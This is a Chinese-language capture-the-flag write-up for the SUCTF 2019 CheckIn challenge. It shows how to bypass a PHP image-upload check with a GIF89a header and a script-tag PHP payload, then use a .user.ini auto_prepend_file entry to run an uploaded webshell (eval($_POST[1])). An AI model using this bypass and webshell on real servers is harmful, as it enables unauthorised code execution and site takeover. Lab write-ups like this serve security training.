[SUCTF 2019]CheckIn
最后更新于
最后更新于
exif_imagetype()函数绕过
文件上传.user.ini
随便上传一个php文件试试
上传一个空的gif文件(就是新建空白txt再把后缀改成gif)判断有没有检查其他东西,会提示exif_imagetype:not image!
,加上文件头GIF89a
,就成功了。
试试上传正常图片
这儿可以猜测是exif_imagetype()
函数判断是不是图片,在文件头添加图片头就可以绕过了,例如gif的文件头GIF89a
然后制作图片马上传
上传条件
不能上传带有<?
的文件,使用<script language="php">xxx</script>
绕过
上传的文件必须含有图片头
考虑使用.htaccess,但是这个服务器是nginx,而.htaccess是针对apache的。那么这里利用是 .user.ini ,而且.user,ini利用的范围比.htaccess更广
php.ini是php默认的配置文件,其中包括了很多php的配置,这些配置中,又分为几种:PHP_INI_SYSTEM、PHP_INI_PERDIR、PHP_INI_ALL、PHP_INI_USER
.user.ini
实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为PHP_INI_PERDIR
、 PHP_INI_USER
的设置。
在php配置项中有两个比较有意思的项auto_prepend_file
和auto_append_file
,相当于指定一个文件,要执行脚本前自动包含,类似于在脚本文件前调用了require()函数。auto_prepend_file
是在脚本文件前插入,而auto_append_file
是在脚本文件最后才插入。
那么思路就有了,先上传图片马,然后利用.user.ini解析图片马,进行getshell
上传的.user.ini
上传的shell,常用一句话GIF89a? <script language="php">eval($_POST[1])</script>
然后直接访问/uploads/04b0951938d905b41348c1548f9c338b/
即可,因为auto_prepend_file
自动包含了shell.gif
不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用.php.ini
。